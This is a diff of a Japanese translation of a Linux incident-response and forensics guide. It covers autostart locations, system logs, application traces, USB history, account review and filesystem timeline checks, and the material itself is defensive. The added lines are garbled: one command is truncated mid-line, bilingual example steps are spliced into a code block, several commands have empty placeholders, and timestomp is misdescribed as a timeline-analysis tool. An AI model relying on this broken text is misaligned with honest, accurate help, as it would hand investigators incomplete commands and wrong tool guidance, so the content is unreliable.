-マルウェアが新しい、許可されていないサービスとして浸透することは非常に一般的です。Linuxには、コンピュータの起動時にサービスを開始するために使用されるいくつかのスクリプトがあります。初期化の起動スクリプトである_**/etc/inittab**_は、_**/etc/rc.d/**_ディレクトリまたは一部の古いバージョンでは_**/etc/rc.boot/**_ディレクトリ、またはDebianなどの他のバージョンのLinuxでは_**/etc/init.d/**_ディレクトリの下のさまざまな起動スクリプトを呼び出します。さらに、一部の一般的なサービスは、Linuxのバージョンに応じて_**/etc/inetd.conf**_または_**/etc/xinetd/**_に有効にされます。デジタル調査官は、これらの起動スクリプトの各エントリを異常なものとして調査する必要があります。 +マルウェアが新しい、許可されていないサービスとして浸透することは非常に一般的です。Linuxには、コンピュータの起動時にサービスを開始するために使用されるいくつかのスクリプトがあります。初期化の起動スクリプトである _**/etc/inittab**_ は、_**/etc/rc.d/**_ ディレクトリまたは一部の古いバージョンでは _**/etc/rc.boot/**_ ディレクトリ、または _**/etc/init.d/**_ ディレクトリなど、他のスクリプトを呼び出します。また、Debianなどの他のバージョンのLinuxでは、起動スクリプトは _**/etc/init.d/**_ ディレクトリに格納されています。さらに、一部の一般的なサービスは、Linuxのバージョンに応じて _**/etc/inetd.conf**_ または _**/etc/xinetd/**_ に有効にされています。デジタル調査官は、これらの起動スクリプトの各エントリを異常なものとして調査する必要があります。 * _**/etc/inittab**_ * _**/etc/rc.d/**_ @@ -249,15 +249,15 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra ### カーネルモジュール -Linuxシステムでは、マルウェアパッケージのルートキットコンポーネントとしてカーネルモジュールが一般的に使用されます。カーネルモジュールは、システムの起動時に`/lib/modules/'uname -r'`および`/etc/modprobe.d`ディレクトリ、および`/etc/modprobe`または`/etc/modprobe.conf`ファイルの設定情報に基づいてロードされます。これらの領域は、マルウェアに関連するアイテムを調査するために検査する必要があります。 +Linuxシステムでは、マルウェアパッケージのルートキットコンポーネントとしてカーネルモジュールが一般的に使用されます。カーネルモジュールは、システムの起動時に `/lib/modules/'uname -r'` ディレクトリと `/etc/modprobe.d` ディレクトリ、および `/etc/modprobe` または `/etc/modprobe.conf` ファイルの設定情報に基づいてロードされます。これらの領域は、マルウェアに関連するアイテムを調査するために検査する必要があります。 ### その他の自動起動場所 Linuxは、ユーザーがシステムにログインするときに実行可能ファイルを自動的に起動するために使用するいくつかの設定ファイルがあり、これらにはマルウェアの痕跡が含まれる可能性があります。 -* _**/etc/profile.d/\***_、_**/etc/profile**_、_**/etc/bash.bashrc**_は、どのユーザーアカウントでもログインしたときに実行されます。 -* _**∼/.bashrc**_、_**∼/.bash\_profile**_、_**\~/.profile**_、_**∼/.config/autostart**_は、特定のユーザーがログインしたときに実行されます。 -* _**/etc/rc.local**_は、通常のシステムサービスがすべて起動した後、マルチユーザーランレベルに切り替えるプロセスの最後に実行されます。 +* _**/etc/profile.d/\***_ , _**/etc/profile**_ , _**/etc/bash.bashrc**_ は、どのユーザーアカウントがログインしても実行されます。 +* _**∼/.bashrc**_ , _**∼/.bash\_profile**_ , _**\~/.profile**_ , _**∼/.config/autostart**_ は、特定のユーザーがログインしたときに実行されます。 +* _**/etc/rc.local**_ は、通常のシステムサービスがすべて起動した後、マルチユーザーランレベルに切り替えるプロセスの最後に実行されます。 ## ログの調査 @@ -265,29 +265,29 @@ Linuxは、ユーザーがシステムにログインするときに実行可能 ### 純粋なログ -システムログおよびセキュリティログに記録された**ログイン**イベントは、特定のアカウントを介して**マルウェア**または**侵入者がアクセス**したことを特定の時間に示すことができます。マルウェア感染の周辺での他のイベントは、システムログにキャプチャされることがあります。例えば、インシデントの時点での新しいサービスの作成や新しいアカウントの作成などです。\ +システムログやセキュリティログに記録された**ログイン**イベントは、特定のアカウントを介して**マルウェア**または**侵入者がアクセス**したことを特定の時間に示すことがあります。マルウェア感染の周辺で発生した他のイベントは、システムログにキャプチャされる場合があります。例えば、インシデントの発生時に新しいサービスや新しいアカウントの作成などです。\ 興味深いシステムログイン: -* **/var/log/syslog**(Debian)または**/var/log/messages**(Redhat) +* **/var/log/syslog** (debian) または **/var/log/messages** (Redhat) * システム全体のアクティビティに関する一般的なメッセージと情報を表示します。 -* **/var/log/auth.log**(Debian)または**/var/log/secure**(Redhat) -* 成功または失敗したログイン、および認証プロセスの認証ログを保持します。ストレージはシステムのタイプに依存します。 +* **/var/log/auth.log** (debian) または **/var/log/secure** (Redhat) +* 成功または失敗したログイン、および認証プロセスの認証ログを保持します。保存場所はシステムのタイプによります。 * `cat /var/log/auth.log | grep -iE "session opened for|accepted password|new session|not in sudoers"` -* **/var/log/boot.log**:起動メッセージとブート情報。 -* **/var/log/maillog**または**var/log/mail.log**:メールサーバーログで、ポストフィックス、smtpd、またはサーバー上で実行されている関連するメールサービスの情報に便利です。 -* **/var/log/kern.log**:カーネルログと警告情報を保持します。カーネルのアクティビティログ(例:dmesg、kern.log、klog)は、特定のサービスが繰り返しクラッシュしたことを示す可能性があります。これは、不安定なトロイの木馬バージョンがインストールされたことを示しています。 -* **/var/log/dmesg**:デバイスドライバーメッセージのリポジトリです。このファイルのメッセージを表示するには、**dmesg**を使用します。 -* **/var/log/faillog**:失敗したログインの情報を記録します。したがって、ログイン資格情報のハックやブルートフォース攻撃などの潜在的なセキュリティ侵害を調査するのに便利です。 -* **/var/log/cron**:Crond関連のメッセージ(cronジョブ)の記録を保持します。cronデーモンがジョブを開始したときなどです。 -* **/var/log/daemon.log**:バックグラウンドサービスの実行状況を追跡しますが、それらをグラフィカルに表現しません。 -* **/var/log/btmp**:すべての失敗したログイン試行のメモを保持します。 -* **/var/log/httpd/**:Apache httpdデーモンのerror\_logおよびaccess\_logファイルが含まれるディレクトリです。httpdが遭遇したすべてのエラーは、**error\_log**ファイルに保持されます。メモリの問題や他のシステム関連のエラーなどです。**access\_log**は、HTTP経由で受信したすべてのリクエストをログに記録します。 -* **/var/log/mysqld.log**または**/var/log/mysql.log**:MySQLログファイルで、開始、停止、再起動などのすべてのデバッグ、失敗、成功メッセージを記録します。ディレクトリはシステムが決定します。RedHat、CentOS、Fedora、およびその他のRedHatベースのシステムでは、/var/log/mariadb/mariadb.logを使用します。ただし、Debian/Ubuntuでは/var/log/mysql/error.logディレクトリを使用します。 -* **/var/log/xferlog**:FTPファイル転送セッションを保持します。ファイル名やユーザーによるFTP転送などの情報が含まれます。 -* **/var/log/\***:このディレクトリに予期しないログがないか常に確認する必要があります +* **/var/log/boot.log**: 起動メッセージとブート情報。 +* **/var/log/maillog** または **var/log/mail.log:** メールサーバーログで、ポストフィックス、smtpd、またはサーバー上で実行されている関連するメールサービスの情報に便利です。 +* **/var/log/kern.log**: カーネルログと警告情報を保持します。カーネルのアクティビティログ(例:dmesg、kern.log、klog)は、特定のサービスが繰り返しクラッシュしたことを示す可能性があり、不安定なトロイの木馬バージョンがインストールされていることを示す可能性があります。 +* **/var/log/dmesg**: デバイスドライバーメッセージのリポジトリです。このファイルのメッセージを表示するには、**dmesg** を使用します。 +* **/var/log/faillog:** 失敗したログインの情報を記録します。したがって、ログイン資格情報のハックやブルートフォース攻撃などの潜在的なセキュリティ侵害を調査するのに便利です。 +* **/var/log/cron**: Crond関連のメッセージ(cronジョブ)の記録を保持します。cronデーモンがジョブを開始したときなどです。 +* **/var/log/daemon.log:** バックグラウンドサービスの実行状況を追跡しますが、グラフィカルには表示されません。 +* **/var/log/btmp**: すべての失敗したログイン試行の記録を保持します。 +* **/var/log/httpd/**: Apache httpdデーモンの error\_log と access\_log ファイルが含まれるディレクトリです。httpdが遭遇したすべてのエラーは、**error\_log** ファイルに保持されます。メモリの問題やその他のシステム関連のエラーなどです。**access\_log** は、HTTP経由で受信したすべてのリクエストをログに記録します。 +* **/var/log/mysqld.log** または **/var/log/mysql.log**: MySQLのログファイルで、開始、停止、再起動などのすべてのデバッグ、失敗、成功メッセージを記録します。ディレクトリはシステムによって決まります。RedHat、CentOS、Fedora、およびその他のRedHatベースのシステムでは、/var/log/mariadb/mariadb.log を使用します。ただし、Debian/Ubuntuでは、/var/log/mysql/error.log ディレクトリを使用します。 +* **/var/log/xferlog**: FTPファイル転送セッションを保持します。ファイル名やユーザーによるFTP転送などの情報が含まれます。 +* **/var/log/\*** : このディレクトリに予期しないログがないか常に確認する必要があります {% hint style="info" %} -Linuxシステムのログと監査サブシステムは、侵入やマルウェアのインシデントで無効化または削除される場合があります。Linuxシステムのログには一般に最も有用な悪意のある活動に関する情報が含まれるため、侵入者は定期的にそれらを削除します。したがって、利用可能なログファイルを調査する際には、削除または改ざんの兆候となるギャップや順序外のエントリを探すことが重要です。 +Linuxシステムのログと監査サブシステムは、侵入やマルウェアのインシデントで無効化または削除される場合があります。Linuxシステムのログは一般的に悪意のある活動に関する最も有用な情報の一部を含んでいるため、侵入者は定期的にそれらを削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候となるギャップや順序の逆転を探すことが重要です。 {% endhint %} ### コマンド履歴 @@ -301,20 +301,19 @@ Linuxシステムのログと監査サブシステムは、侵入やマルウェ ### ログイン -`last -Faiwx`コマンドを使用すると、ログインしたユーザーのリストを取得できます。\ -これらのログインが意味をな +`last - ### アプリケーションのトレース -* **SSH**: システムへのSSH接続は、侵害されたシステムからの接続として、各ユーザーアカウントのファイルにエントリが作成されます(_**∼/.ssh/authorized\_keys**_ および _**∼/.ssh/known\_keys**_)。これらのエントリには、リモートホストのホスト名またはIPアドレスが明示されている場合があります。 -* **Gnomeデスクトップ**: ユーザーアカウントには、Gnomeデスクトップで実行されるアプリケーションを使用して最近アクセスされたファイルに関する情報が含まれる _**∼/.recently-used.xbel**_ ファイルがある場合があります。 -* **VIM**: ユーザーアカウントには、VIMの使用に関する詳細が含まれる _**∼/.viminfo**_ ファイルがある場合があります。これには、検索文字列の履歴やvimを使用して開かれたファイルへのパスなどが含まれます。 +* **SSH**: 侵害されたシステムからSSHを使用してシステムへの接続が行われると、各ユーザーアカウントのファイルにエントリが作成されます(_**∼/.ssh/authorized\_keys**_および_**∼/.ssh/known\_keys**_)。これらのエントリには、リモートホストのホスト名またはIPアドレスが明らかになる場合があります。 +* **Gnomeデスクトップ**: ユーザーアカウントには、Gnomeデスクトップで実行されるアプリケーションを使用して最近アクセスされたファイルに関する情報が含まれる_**∼/.recently-used.xbel**_ファイルがある場合があります。 +* **VIM**: ユーザーアカウントには、VIMの使用に関する詳細(検索文字列の履歴やvimを使用して開かれたファイルへのパスなど)が含まれる_**∼/.viminfo**_ファイルがある場合があります。 * **Open Office**: 最近のファイル。 -* **MySQL**: ユーザーアカウントには、MySQLを使用して実行されたクエリが含まれる _**∼/.mysql\_history**_ ファイルがある場合があります。 -* **Less**: ユーザーアカウントには、検索文字列の履歴やlessを介して実行されたシェルコマンドなど、lessの使用に関する詳細が含まれる _**∼/.lesshst**_ ファイルがある場合があります。 +* **MySQL**: ユーザーアカウントには、MySQLを使用して実行されたクエリが含まれる_**∼/.mysql\_history**_ファイルがある場合があります。 +* **Less**: ユーザーアカウントには、検索文字列の履歴やlessを介して実行されたシェルコマンドなど、lessの使用に関する詳細が含まれる_**∼/.lesshst**_ファイルがある場合があります。 ### USBログ -[**usbrip**](https://github.com/snovvcrash/usbrip)は、Linuxのログファイル(ディストリビューションによっては `/var/log/syslog*` または `/var/log/messages*`)を解析してUSBイベント履歴テーブルを作成するための純粋なPython 3で書かれた小さなソフトウェアです。 +[**usbrip**](https://github.com/snovvcrash/usbrip)は、Linuxのログファイル(ディストリビューションによっては`/var/log/syslog*`または`/var/log/messages*`)を解析してUSBイベント履歴テーブルを作成するための純粋なPython 3で書かれた小さなソフトウェアです。 **使用されたすべてのUSBデバイスを知る**ことは興味深いですし、USBデバイスの「違反イベント」(そのリストに含まれていないUSBデバイスの使用)を見つけるために認可されたUSBデバイスのリストを持っているとさらに便利です。 @@ -325,29 +324,105 @@ usbrip ids download #Download USB ID database ``` ### 例 -#### ファイルの復元 +#### Example 1: Collecting Volatile Data -ファイルの復元は、削除されたファイルを回復するための手法です。削除されたファイルは、実際にはディスク上に残っていることがあります。復元するためには、ファイルのヘッダやフッタ、およびファイルの中身を特定する必要があります。一般的なツールとしては、`foremost`や`scalpel`があります。 +#### 例1: 揮発性データの収集 -#### メモリの解析 +To collect volatile data from a Linux system, follow these steps: -メモリの解析は、実行中のシステムのメモリを調査するための手法です。メモリには、プロセスの情報やユーザーのアクティビティなど、重要な情報が含まれています。メモリの解析には、`Volatility`や`Rekall`などのツールが使用されます。 +Linuxシステムから揮発性データを収集するには、以下の手順に従います。 -#### ネットワークトラフィックの解析 +1. Log in to the Linux system using appropriate credentials. -ネットワークトラフィックの解析は、ネットワーク上で送受信されるデータを調査する手法です。ネットワークトラフィックには、通信の詳細やパケットの内容など、重要な情報が含まれています。ネットワークトラフィックの解析には、`Wireshark`や`tcpdump`などのツールが使用されます。 + 適切な資格情報を使用してLinuxシステムにログインします。 -#### ログの解析 +2. Open a terminal and run the following command to list all running processes: -ログの解析は、システムやアプリケーションのログファイルを調査する手法です。ログには、システムの動作やイベントの記録が含まれています。ログの解析には、`grep`や`awk`などのツールが使用されます。 + ターミナルを開き、次のコマンドを実行して実行中のすべてのプロセスをリストします。 -#### レジストリの解析 + ```bash + ps aux + ``` -レジストリの解析は、Windowsシステムのレジストリデータベースを調査する手法です。レジストリには、システムの設定やユーザーのアクティビティなど、重要な情報が含まれています。レジストリの解析には、`RegRipper`や`Registry Explorer`などのツールが使用されます。 +3. Take note of any suspicious or unfamiliar processes running on the system. -#### フォレンジックイメージの作成 + システムで実行されている不審なプロセスや見慣れないプロセスに注意を払います。 -フォレンジックイメージの作成は、証拠を保護するためにディスクやメモリのコピーを作成する手法です。フォレンジックイメージは、解析や復元作業を行う際に使用されます。フォレンジックイメージの作成には、`dd`や`dcfldd`などのツールが使用されます。 +4. Run the following command to gather information about network connections: + + 次のコマンドを実行してネットワーク接続に関する情報を収集します。 + + ```bash + netstat -antp + ``` + +5. Analyze the network connections and identify any suspicious or unauthorized connections. + + ネットワーク接続を分析し、不審な接続や不正な接続を特定します。 + +6. Run the following command to check the open files and processes associated with them: + + 次のコマンドを実行して、開いているファイルとそれに関連するプロセスを確認します。 + + ```bash + lsof + ``` + +7. Look for any unusual or unexpected files or processes that may indicate malicious activity. + + 悪意のある活動を示す可能性のある異常なファイルやプロセスを探します。 + +8. Finally, collect any relevant logs or system information that may be useful for further analysis. + + 最後に、さらなる分析に役立つ可能性のある関連するログやシステム情報を収集します。 + +#### Example 2: Analyzing File Metadata + +#### 例2: ファイルメタデータの分析 + +To analyze file metadata in a Linux system, follow these steps: + +Linuxシステムでファイルメタデータを分析するには、以下の手順に従います。 + +1. Identify the file you want to analyze. + + 分析したいファイルを特定します。 + +2. Run the following command to view the metadata of the file: + + 次のコマンドを実行して、ファイルのメタデータを表示します。 + + ```bash + stat + ``` + + Replace `` with the actual name of the file. + + ``を実際のファイル名に置き換えます。 + +3. Take note of the file's permissions, owner, size, and timestamps. + + ファイルのパーミッション、所有者、サイズ、およびタイムスタンプに注意を払います。 + +4. Run the following command to check the file's hash value: + + 次のコマンドを実行して、ファイルのハッシュ値を確認します。 + + ```bash + md5sum + ``` + + Replace `` with the actual name of the file. + + ``を実際のファイル名に置き換えます。 + +5. Compare the obtained hash value with the known hash value of the file to verify its integrity. + + 取得したハッシュ値をファイルの既知のハッシュ値と比較して、整合性を確認します。 + +6. Additionally, you can use tools like `file`, `strings`, or `hexdump` to gather more information about the file. + + さらに、`file`、`strings`、または`hexdump`などのツールを使用して、ファイルに関する詳細情報を収集することもできます。 ``` usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -355,98 +430,100 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` -さらなる例や情報は、GitHub内で確認できます:[https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) +さらなる例や情報は、[https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)で確認できます。 -![](<../../.gitbook/assets/image (9) (1) (2).png>) +
\ -[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**することができます。\ +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築および**自動化**できます。\ 今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## ユーザーアカウントとログオンアクティビティの確認 -不正なイベントに関連して近くで作成または使用された、異常な名前やアカウントを含む_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調査します。また、sudoによるブルートフォース攻撃の可能性もチェックします。\ -さらに、ユーザーに与えられた予期しない特権を持つファイル(_**/etc/sudoers**_や_**/etc/groups**_など)も確認します。\ +不正なイベントに関連して近くで作成または使用された、異常な名前やアカウントを含む_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調べます。また、sudoによるブルートフォース攻撃の可能性もチェックします。\ +さらに、ユーザーに与えられた予期しない特権を確認するために、_**/etc/sudoers**_や_**/etc/groups**_などのファイルもチェックします。\ 最後に、パスワードのないアカウントや簡単に推測できるパスワードを持つアカウントを探します。 ## ファイルシステムの調査 -ファイルシステムのデータ構造は、**マルウェア**のインシデントに関連する**情報**(イベントのタイミングや**マルウェア**の実際の**内容**など)を提供する場合があります。\ -**マルウェア**は、ファイルシステムの解析を困難にするために、日時スタンプを変更するなどの手法を使用することが増えています。他の悪意のあるコードは、ファイルシステムに格納されるデータ量を最小限に抑えるために、特定の情報のみをメモリに保存するように設計されています。\ -このようなアンチフォレンジック技術に対処するためには、ファイルシステムの日時スタンプのタイムライン分析に**注意を払う**必要があります。また、マルウェアが見つかる可能性のある一般的な場所に保存されたファイルにも注意を払う必要があります。 +ファイルシステムのデータ構造は、**マルウェア**のインシデントに関連する**情報**、イベントの**タイミング**、および実際の**マルウェア**の**内容**など、大量の情報を提供する場合があります。\ +**マルウェア**は、ファイルシステムの解析を妨げるために設計されることが増えています。一部のマルウェアは、タイムライン分析でそれらを見つけるのをより困難にするために、悪意のあるファイルの日時スタンプを変更します。他の悪意のあるコードは、ファイルシステムに格納されるデータ量を最小限に抑えるために、特定の情報のみをメモリに保存するように設計されています。\ +このようなアンチフォレンジックテクニックに対処するためには、ファイルシステムの日時スタンプのタイムライン分析に**注意を払う**必要があります。また、マルウェアが見つかる可能性のある一般的な場所に保存されたファイルにも注意を払う必要があります。 -* **autopsy**を使用すると、疑わしい活動を発見するのに役立つイベントのタイムラインを確認できます。また、**Sleuth Kit**の`mactime`機能を直接使用することもできます。 +* **autopsy**を使用すると、疑わしい活動を発見するのに役立つイベントのタイムラインを表示できます。また、**Sleuth Kit**の`mactime`機能も直接使用できます。 * **$PATH**内に予期しないスクリプトがないか確認します(おそらくいくつかのshスクリプトやphpスクリプトがありますか?) -* `/dev`内のファイルは特殊なファイルであるはずですが、マルウェアに関連する特殊でないファイルが見つかる場合があります。 +* `/dev`内のファイルは特殊なファイルでしたが、ここにはマルウェアに関連する特殊でないファイルがあるかもしれません。 * ".. "(ドットドットスペース)や"..^G "(ドットドットコントロールG)などの異常なまたは**隠しファイル**や**ディレクトリ**を探します。 -* システム上の/bin/bashのsetuidコピー `find / -user root -perm -04000 –print` -* 削除された**inodeの日時スタンプ**を確認し、同じ時期に大量のファイルが削除されている場合は、ルートキットのインストールやトロイの木馬化されたサービスのインストールなどの悪意のある活動を示している可能性があります。 +* システム上の/bin/bashのsetuidコピーを探す`find / -user root -perm -04000 –print` +* 削除された**inodeの日時スタンプを確認し、同じ時期に大量のファイルが削除されている**場合、ルートキットのインストールやトロイの木馬化されたサービスのような悪意のある活動を示している可能性があります。 * inodeは次に利用可能な基準で割り当てられるため、**同じ時期にシステムに配置された悪意のあるファイルは連続したinodeが割り当てられる**場合があります。したがって、マルウェアの1つのコンポーネントが見つかった後は、隣接するinodeを調査することが生産的である場合があります。 -* _/bin_や_/sbin_などのディレクトリも確認し、新しいまたは変更されたファイルの**変更された時刻**を調べます。 -* ファイルやフォルダをアルファベット順ではなく、作成日時順に並べ替えたディレクトリのファイルとフォルダを見ると、より最近のファイルやフォルダがわかります(通常、最後のものです)。 +* _/bin_や_/sbin_などのディレクトリもチェックし、新しいまたは変更されたファイルの**変更された時刻**を調べます。 +* ファイルやフォルダをアルファベット順ではなく、作成日時でソートされたディレクトリのファイルとフォルダを見ると、より最近のファイルやフォルダがわかります(通常、最後のものです)。 `ls -laR --sort=time /bin`を使用して、フォルダの最新のファイルを確認できます。\ `ls -lai /bin |sort -n`を使用して、フォルダ内のファイルのinodeを確認できます。 {% hint style="info" %} -**攻撃者**は**時間**を**変更**して**ファイルを正規に見せかける**ことができますが、**inode**を変更することはできません。同じフォルダ内の他のファイルと同じように、あるファイルが作成および変更されたと示されているが、**inode**が予期しないほど大きい場合、そのファイルの**タイムスタンプが変更された**ことを意味します。 +**攻撃者**は**ファイルの時間**を**変更**して**ファイルを正規に見せる**ことができますが、**inode**は**変更できません**。同じフォルダ内の他のファイルと同じ時刻に作成および変更されたことを示す**ファイル**があり、しかし**inode**が**予期しないほど大きい**場合、そのファイルのタイムスタンプが**変更された**ことを意味します。 {% endhint %} -## 異なるファイルシステムバージョンの比較 +## 異なるファイルシステムバージョンのファイルを比較する -#### 追加されたファイルの検索 +#### 追加されたファイルを見つける ```bash git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ ``` #### 変更されたコンテンツの検索 -To find modified content in a Linux system, you can use various techniques and tools. Here are some methods you can follow: +To find modified content on a Linux system, you can use various techniques and tools. Here are some steps you can follow: -1. **File Timestamps**: Check the timestamps of files to identify recently modified files. The `stat` command can be used to view the access, modification, and change timestamps of a file. +1. **Timeline Analysis**: Analyze the system's timeline to identify any suspicious activities or changes. This can be done using tools like `fls`, `mactime`, or `timestomp`. -2. **Log Files**: Analyze system log files such as `/var/log/syslog` or `/var/log/auth.log` to identify any suspicious activities or modifications. +2. **File System Analysis**: Examine the file system for any recently modified files. Tools like `find`, `ls`, or `stat` can help you identify files with recent modification timestamps. -3. **File Integrity Monitoring (FIM)**: Use FIM tools like `Tripwire` or `AIDE` to monitor and detect changes in critical system files. These tools can generate reports highlighting any modifications. +3. **Log Analysis**: Review system logs, such as `/var/log/syslog` or `/var/log/auth.log`, for any unusual activities or events that may indicate modifications. -4. **Version Control Systems**: If the system uses version control systems like `Git`, you can check the commit history to identify any recent changes made to files. +4. **Metadata Analysis**: Analyze file metadata, such as file permissions, ownership, and timestamps, to identify any discrepancies or unauthorized changes. Tools like `stat`, `ls`, or `file` can provide this information. -5. **System Audit Logs**: Review system audit logs, such as those generated by `auditd`, to identify any unauthorized modifications or access to files. +5. **Hash Comparison**: Calculate and compare file hashes to detect any modifications. Tools like `md5sum`, `sha1sum`, or `sha256sum` can be used for this purpose. -6. **Memory Analysis**: Analyze the system's memory using tools like `Volatility` to identify any suspicious processes or modifications in memory. +6. **Memory Analysis**: Perform memory forensics to identify any modified or injected processes. Tools like `Volatility` or `LiME` can help you analyze the system's memory. -Remember to document any findings and preserve the integrity of the evidence during the investigation process. +Remember to document your findings and maintain a chain of custody to ensure the integrity of the evidence. ```bash git diff --no-index --diff-filter=M _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ | grep -E "^\+" | grep -v "Installed-Time" ``` #### 削除されたファイルの検索 -To find deleted files on a Linux system, you can use various techniques and tools. Here are some methods you can try: +Deleted files can often be recovered during a forensic investigation. When a file is deleted, it is not immediately removed from the storage device. Instead, the file system marks the space occupied by the file as available for reuse. This means that the file's content may still exist on the disk until it is overwritten by new data. -1. **File Recovery Tools**: Use specialized file recovery tools like `extundelete`, `testdisk`, or `foremost` to scan the file system and recover deleted files. +削除されたファイルは、フォレンジック調査中にしばしば回復することができます。ファイルが削除されると、ストレージデバイスから直ちに削除されるわけではありません。代わりに、ファイルシステムはファイルが占めていたスペースを再利用可能としてマークします。つまり、新しいデータによって上書きされるまで、ファイルの内容はディスク上に残る可能性があります。 -2. **File System Journal**: Check the file system journal to identify recently deleted files. The journal records metadata changes, including file deletions. Tools like `jcat` and `icat` can help you analyze the journal. +To find deleted files on a Linux system, you can use various tools and techniques. Here are some common methods: -3. **Inode Analysis**: Inodes store information about files on a Linux system. By examining the inode table, you can identify deleted files that still have their metadata intact. Tools like `istat` and `ifind` can assist in this analysis. +Linuxシステム上で削除されたファイルを見つけるために、さまざまなツールと技術を使用することができます。以下に一般的な方法をいくつか紹介します。 -4. **Carving**: File carving involves searching for file signatures or specific file headers in unallocated disk space. This technique can help recover deleted files that no longer have their metadata available. Tools like `scalpel` and `foremost` are commonly used for file carving. +1. **File Carving**: File carving is a technique used to recover deleted files by searching for file signatures or headers in unallocated disk space. Tools like `foremost` and `scalpel` can be used for file carving. -Remember to work on a copy of the disk or partition to avoid modifying the original data. Additionally, it's crucial to document your findings and follow proper forensic procedures to maintain the integrity of the evidence. + **ファイルカービング**: ファイルカービングは、割り当てられていないディスク領域でファイルのシグネチャやヘッダを検索して削除されたファイルを回復するための技術です。`foremost`や`scalpel`などのツールを使用してファイルカービングを行うことができます。 -#### 削除されたファイルを見つける +2. **Metadata Analysis**: Metadata of files, such as timestamps and file attributes, can provide valuable information about deleted files. Tools like `exiftool` and `fsstat` can be used to analyze file metadata. -Linuxシステム上で削除されたファイルを見つけるために、さまざまな手法とツールを使用することができます。以下にいくつかの試みるべき方法を示します: + **メタデータの分析**: タイムスタンプやファイル属性などのファイルのメタデータは、削除されたファイルに関する貴重な情報を提供することができます。`exiftool`や`fsstat`などのツールを使用してファイルのメタデータを分析することができます。 -1. **ファイル復元ツール**:`extundelete`、`testdisk`、または`foremost`などの専門のファイル復元ツールを使用して、ファイルシステムをスキャンし、削除されたファイルを回復します。 +3. **File System Journal**: Some Linux file systems, such as ext3 and ext4, maintain a journal that records file system changes. This journal can be analyzed to identify deleted files. Tools like `extundelete` and `debugfs` can be used to examine the file system journal. -2. **ファイルシステムジャーナル**:ファイルシステムジャーナルをチェックして、最近削除されたファイルを特定します。ジャーナルは、ファイルの削除を含むメタデータの変更を記録します。`jcat`や`icat`などのツールを使用して、ジャーナルを分析することができます。 + **ファイルシステムジャーナル**: ext3やext4などの一部のLinuxファイルシステムは、ファイルシステムの変更を記録するジャーナルを保持しています。このジャーナルを分析して削除されたファイルを特定することができます。`extundelete`や`debugfs`などのツールを使用してファイルシステムジャーナルを調査することができます。 -3. **Inodeの分析**:InodeはLinuxシステム上のファイルに関する情報を格納しています。Inodeテーブルを調査することで、メタデータが残っている削除されたファイルを特定することができます。`istat`や`ifind`などのツールがこの分析をサポートします。 +4. **System Logs**: System logs can contain information about file deletions. Tools like `grep` can be used to search for relevant log entries. -4. **カービング**:カービングは、未割り当てのディスク領域でファイルのシグネチャや特定のファイルヘッダを検索する手法です。この技術を使用すると、メタデータが利用できなくなった削除されたファイルを回復することができます。`scalpel`や`foremost`などのツールがファイルカービングによく使用されます。 + **システムログ**: システムログにはファイルの削除に関する情報が含まれている場合があります。`grep`などのツールを使用して関連するログエントリを検索することができます。 -元のデータを変更しないために、ディスクまたはパーティションのコピーで作業することを忘れないでください。また、証拠の完全性を保つために、調査結果を文書化し、適切な法的手続きに従うことが重要です。 +Remember that the success of recovering deleted files depends on various factors, such as the time elapsed since deletion and the extent of disk activity. It is important to perform forensic analysis as soon as possible to increase the chances of successful file recovery. + +削除されたファイルの回復の成功は、削除後の経過時間やディスクのアクティビティの範囲など、さまざまな要素に依存します。成功したファイルの回復の可能性を高めるために、できるだけ早くフォレンジック分析を実施することが重要です。 ```bash git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ ``` @@ -454,9 +531,9 @@ git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2 **`-diff-filter=[(A|C|D|M|R|T|U|X|B)…​[*]]`** -追加されたファイル (`A`)、コピーされたファイル (`C`)、削除されたファイル (`D`)、変更されたファイル (`M`)、名前が変更されたファイル (`R`)、タイプが変更されたファイル(通常のファイル、シンボリックリンク、サブモジュールなど) (`T`)、マージされていないファイル (`U`)、不明なファイル (`X`)、ペアリングが壊れたファイル (`B`) のみを選択します。フィルター文字の組み合わせには、任意の組み合わせ(なしも含む)が使用できます。組み合わせに `*`(全てまたは無し)が追加されると、比較に他の基準に一致するファイルがある場合、すべてのパスが選択されます。他の基準に一致するファイルがない場合、何も選択されません。 +追加されたファイル (`A`)、コピーされたファイル (`C`)、削除されたファイル (`D`)、変更されたファイル (`M`)、名前が変更されたファイル (`R`)、タイプが変更されたファイル(通常のファイル、シンボリックリンク、サブモジュールなど) (`T`)、マージされていないファイル (`U`)、不明なファイル (`X`)、ペアリングが壊れたファイル (`B`) のみを選択します。フィルター文字の組み合わせには、任意の組み合わせが使用できます(組み合わせに `*`(すべてまたはなし)が追加された場合、他の基準に一致するファイルがある場合はすべてのパスが選択されます。他の基準に一致するファイルがない場合は、何も選択されません)。 -また、これらの大文字の文字は、除外するために小文字にすることもできます。例:`--diff-filter=ad` は追加されたパスと削除されたパスを除外します。 +また、これらの大文字の文字は除外するために小文字にすることもできます。例:`--diff-filter=ad` は追加されたファイルと削除されたファイルを除外します。 